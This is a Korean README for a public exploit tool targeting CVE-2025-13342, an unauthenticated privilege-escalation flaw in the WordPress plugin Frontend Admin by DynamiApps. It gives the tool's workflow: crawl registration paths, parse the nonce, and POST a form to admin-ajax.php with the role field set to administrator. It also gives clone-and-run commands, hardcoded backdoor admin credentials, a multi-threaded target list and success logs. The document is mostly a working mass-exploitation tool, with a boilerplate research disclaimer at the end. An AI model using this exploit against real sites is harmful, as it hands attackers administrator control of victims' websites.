
DynamiApps의 Frontend Admin <= 3.28.20 - 인증되지 않은 임의 옵션 업데이트
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-13342 |
| 점수 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향 범위 | Frontend Admin by DynamiApps ≤ 3.28.20 |
| 인증 | 없음 — 완전 미인증 |
| 유형 | 불충분한 권한 검사 + 입력 검증 → 임의 옵션 쓰기 |
| CWE | CWE-284 · 부적절한 접근 제어 |
발생 상황:
ActionOptions::run() 저장 핸들러는 wp_options에 쓰기 전에 사용자 권한을 확인하지도 않고 입력을 검증하지도 않습니다. 공개된 ACF 프론트엔드 폼이 열린 쓰기 채널이 됩니다. 공격자는 users_can_register=1과 default_role=administrator를 설정한 후 새 계정을 등록하면 해당 계정이 자동으로 Administrator 역할을 부여받습니다.
이 도구는 이러한 2단계 접근 방식을 건너뜁니다 — acff[user][field_*]를 통해 사용자 생성 필드에 role=administrator를 주입한 조작된 폼 페이로드를 직접 제출하여, 단 한 번의 AJAX 호출로 관리자 계정을 생성합니다.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
이 도구는 대화형입니다. 다음 네 가지 질문이 표시됩니다:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
자격 증명은 내부적으로 고정되어 있습니다:
| 필드 | 값 |
|---|---|
| 사용자 이름 | Nxadmin1 |
| 이메일 | [email protected] |
| 비밀번호 | NxAdmin_1337#KSA |
한 줄에 호스트 하나 — 스킴은 선택 사항:
https://target1.com
target2.com
http://target3.com
이 도구는 대상당 28개 경로를 순서대로 탐색하며, 첫 번째 유효한 ACF 폼에서 중단합니다:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| 파일 | 내용 |
|---|---|
acf_success.txt | 확인된 관리자 계정 생성 성공 기록 |
형식:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
터미널:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| 작성자 | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
이 도구는 공인된 보안 연구 및 교육 목적으로만 제공됩니다.
작성자는 소유자의 명시적인 서면 허가 없이 시스템을 대상으로 하는 어떠한 사용에 대해서도 책임을 지지 않습니다.
무단 접근은 CFAA, CMA 및 전 세계의 동등한 법률에 따라 불법입니다.
모든 행동에 대한 책임은 전적으로 사용자에게 있습니다.